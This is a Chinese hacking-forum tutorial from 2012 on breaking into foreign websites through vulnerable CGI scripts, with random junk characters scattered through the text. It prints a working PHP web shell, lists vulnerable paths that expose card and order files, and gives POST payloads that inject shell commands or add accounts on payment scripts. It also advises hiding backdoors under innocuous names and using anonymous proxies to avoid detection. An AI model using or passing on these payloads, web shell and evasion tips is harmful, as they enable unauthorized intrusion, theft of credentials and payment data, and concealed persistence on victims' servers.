中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
( n/ B; N5 V  y6 j: h, z9 ]+ A大家好 我是bboyhip  只是一名菜菜的exploiter- X; Q4 z: t5 N
很开心来到贵论坛6 h7 e# X* E7 U1 W6 P6 [" Q
这里让我感觉 很有技术交流的感觉7 o, m6 W* K2 l% n5 k. @+ @
我会长长来玩的+ z: }8 l9 q7 R3 ?" x; N
前言:3 C1 K5 |5 |" b/ O/ u" R
以下讲解针对欧美日本网站2 F, B7 ~! R: c4 F+ y. H
當我們在做滲透分析的時候 方法有很多
% S4 [7 F5 q* N# }; {: y. i" _; y4 Q我门都知道 国外伺服器大多是linux 平台
- D0 \7 @; b1 |9 D所以有很多网站程序有6成都会使用cgi 脚本来管理
) b2 ^* G# _4 q; I9 F目录为/cgi-bin/
0 `% @! d+ l3 x/ h5 P4 S1 I  p7 t$ j  {0 s- ?7 t" n# Q# R" C& ]- k
只是个人在实务上一些经验
: M- b; l, g+ F写的不好 请多多见谅喔 . b  |6 k$ {8 ]) |# [
在这里我简单分为几个部份一定要會的
- a' m# I2 I" _" w讲解一下
+ \7 u+ a( D( }0 y# |, t, n$ S' @) |) V让没有基础的人很容易上手/ L1 ?, x5 t2 t

) R$ B0 P; H3 s2 f/ l3 A# A以下内容跟帖回复才能看到
  ?% B( R, F7 z; K" o/ I; u; Z% W==============================
5 q5 K1 F8 w, {# A" d
1 N# i. j( ?, p6 Y# L第1部份: 何谓Shell?
& N4 d5 Y5 Z; g0 ZShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:4 z# ]8 L$ G8 k% d) T8 g
A shell is the program which reads user input from the command line and executes actions based upon that input.8 _6 \- Q: `4 S$ S+ \1 @% W' N; \  e
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
3 a: m' ]! C  y, A1 |* g, T
# z, P+ M  o7 X8 I! m  @对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
) x, V) P, ?, M1 Q& a要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
; h4 S" Y, I/ m$ y7 y所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell./ ~3 S' s: B. m/ [; C7 a; Y6 u1 {
! K& {# ?& O, r3 @, n( I
第2部份: Unix 指令- \5 J. z: @: c* l8 J6 |
以下是一些常见及重要的指令:# R% v( _; o& Z1 r; ^
pwd: 显示当前目录, 即是後门/程式所在的位置! n/ I- y$ m: M3 `$ e: U
如 /home/www/site.com/cgi-bin/- _  E1 q, E& }5 i6 L
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
, b( p8 H) R: D8 Dls -al :详细列出档案资料(当前目录)
' ^( x0 `1 d, d2 Q+ @ls /: 列出根目录
) `: G) F: j8 e; u7 @/ Hls /etc: 列出/etc的资料夹及档案' a. `' y$ Q  ^" F* V. ]& f
ls ../ -al: 详细列出上一层的资料夹及档案
: B: h' x0 C# J# L2 q; Ycat: 显示档案内容6 G& m$ u+ q6 |! Q
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
0 K5 s$ ^8 m. m; M4 a  `3 g8 scat /etc/passwd: 显示 /etc/passwd 这个档案的内容- M& H6 ^3 H( n: E7 m6 ]
who: 显示谁login 至系统" K3 |  p- p# }3 {/ a
man: 显示指令用法  " `/ M6 t' c3 n' {+ v8 C0 m& E# G
man ls: 显示ls这指令的用法  # `6 Q! t' G4 n' o* c, F* I
mkdir 建立目录- ^0 d& y# Y* Q! n
rmdir 删除目录
. W: b& l/ t$ Pmv 移动档案
' t3 D0 ?" I; A# p, G# Wrm 删除档案% z! D9 I2 i  p& Q

  j9 A4 E6 N* h- C第3部份: Shell的使用# t& H# x8 W5 F! c$ Y; |3 _6 G: S
例如:
+ ]4 \  \  s/ I' L  s7 g# o$ O7 chttp://site.com/refer.php8 D  {) v( ?4 p2 R9 \
这是我的後门, 原代码如下:
% X& U2 Q, T$ N8 M<Form Action="#" Method="POST"> $ I$ D: _4 g' s) i
<Input type="text" name="cmd"> . q5 j% _! g& v  [  o
<Input type="Submit"> 8 H! D) }; |7 [9 M
</Form>
3 Q+ x" v: d4 |- W$ r8 x$ O<?php ( N( K8 M) S! c: x' ]$ s
$cmd = $_POST['cmd'];
  I$ l$ j- w6 W& J$Output = shell_exec($cmd); 6 W3 H' Z4 L6 N# @% T  N, E7 q; I9 m
echo $Output;
/ w& J$ P, c5 g& [1 y' B8 c' R?>
9 A+ A# ~) M3 A6 s6 O0 Y输入pwd, 可得到绝对路径:
& l6 D/ u) o. @& k/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
6 t4 X4 B+ a0 T8 p/ W% p) u8 [4 D, X$ a/ Z0 }* @' u
第4部份: 注意事项: H' I  }% e0 J9 J& Y" W  |7 b
- 使用匿名代理, 保障自己
2 A8 j2 M, F6 V% o6 Y- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
' j$ z) @, B5 u/ b# I- v, v0 I- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.' K! b& L2 y$ J6 ?, @, ?1 z! H
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
' ~; E) S8 Q" x5 K2 x- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,% g/ ?: ], k* ?- f9 D( y
不容易被发现.( U2 x! ^2 _8 |5 o8 ~
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)0 v2 ^1 Z/ E2 z( k; i$ A5 Y
针对网站的渗透分析方法太多了0 T$ {4 {0 |- V* z3 t5 ~
这篇文章的重点是cgi 脚本攻击
3 V: c# k9 {- \9 Q3 f+ _: ^! _所以我用简单的叙述形容5 m1 p! J) q% A6 i. }) B8 M3 D1 I& U% e
开始讲解脚本入侵过程:* Z& p% l- u5 _
在这里提供一些方法思路让大家学习一下2 I8 K0 [3 R% t9 N
$ W) @1 q$ E9 M/ a8 o( O! K( h+ b
1.一开始对一个网站进行cgi漏洞扫描
4 l1 j8 N; k. a6 Z0 n# @) N我们需要的东西有6 s, i' c9 i+ r" Z& E9 o
扫洞工具 如:triton..等等6 q/ p. s/ q- \* F( S4 i" g
E表
3 L3 f! U: e2 k* B
' D6 ]' Q  O# V/cgi-bin/add-passwd.cgi 1 w1 J3 u, i% U: S4 i4 F
/WebShop/templates/cc.txt
, ]3 t2 b& v* k0 V) z/Admin_files/order.log# y+ c  M+ i3 {
/orders/mountain.cfg
8 B4 f1 a/ [) R0 G* J/cgi-sys/cart.pl+ u9 [) W  T  {2 \1 k# Y6 ^* {
/scripts/cart.pl
8 n+ C6 y+ N" g3 T# ~( N2 U: X/htbin/cart.pl
" p+ I) t5 h: b; E2 r3 V" E1 jE表来源可以是网路收寻或是自己的0 day
5 w5 `" X! k, I* u- K
: ?& S/ ^2 P2 z+ ]1 {% Q2.怎样确认扫到的洞 是真的还假的?
- j* H2 z+ f- w2 c) o举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
* z' u' L4 M5 u: k# F, _一般都是在IE里先看一下的,记住这个返回码哦
: l8 M3 r& \+ d6 NERROR:This script should be referenced with a METHOD of POST.7 o/ L6 L7 S* g, w
没有返回一定是假的
' {5 D9 Y7 _% I- W5 J$ Q+ O3.重来来了 很多人都会问我
3 |2 e( y- d+ ?+ C# ?* j# h他扫到很多洞 但是不会使用 6 x7 n' O0 \7 i( `" k. w8 h
因为这些漏洞 使用的语法 称为post 0 u0 n/ b2 t' b$ a1 b
我们要找post 的方法很多* ~* C2 S& p1 R7 m, C) S
可以是源代码分析 找出介质
- M6 _4 e! X, K2 n( Q1 t$ u. {或是用抓包工具 抓他的语法...等等
- h6 ]$ F3 g& b$ Y* D
% ^& H" a. D, D; e* s: \& z3 U0 N以下我提供10个 cgi 洞以及使用方法post
% C, I- b) D' O让大家可以针对网站去做扫描  ; y7 W( l, S* ]: C- h
/index.cgi
, x( z7 h7 n+ c/ Y! pwei=ren&gen=command, z8 R) x2 g- G/ D+ i
/passmaster.cgi
/ h! C/ s( G' g8 O9 {Action=Add&Username=Username&Password=Password1 r7 T" s: E& n3 T+ P: }9 i
/accountcreate.cgi: x9 e  s8 D2 {! O
username=username&password=password&ref1=|echo;ls|* a9 y; \$ n7 B; _
/form.cgi. V& A6 ~4 H" Y  i
name=xxxx&email=email&subject=xxxx&response=|echo;ls|6 M# _0 ?; `2 R3 y! c7 k
/addusr.pl
& [% d0 g8 A$ K# u/cgi-bin/EuroDebit/addusr.pl
1 }# U1 e; @  S* b9 [1 Y! V1 }9 p( l6 iuser=username&pass=Password&confirm=Password
# n. l9 k9 `- o9 V$ s/ccbill-local.asp6 s6 n# e& E2 Q
post_values=username:password' Q6 H7 |. |2 C! u- A- f9 M
/count.cgi
8 x! @" T& v+ Qpinfile=|echo;ls -la;exit|
* r" S* b3 Y( m* D6 t: F/recon.cgi$ ?+ i( t! \+ ~: `+ x( a$ ^
/recon.cgi?search
9 ]5 @% M2 }. A7 j  u2 jsearchoption=1&searchfor=|echo;ls -al;exit|
- Z7 R: {% ]; [( F' x/verotelrum.pl2 X) B% n8 ~; R- o9 J4 Y) q* _
vercode=username:password:dseegsow:add:amount<&30>
, q* M; X: [# {/ ~8 u% C/af.cgi_browser_out=|echo;ls -la;exit;|8 t1 ~3 Z1 `) V+ v- v

5 K' H/ K8 o  s5 r" B9 ?今天就讲到这  感谢大家支持
) K# ?# h7 O3 l




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2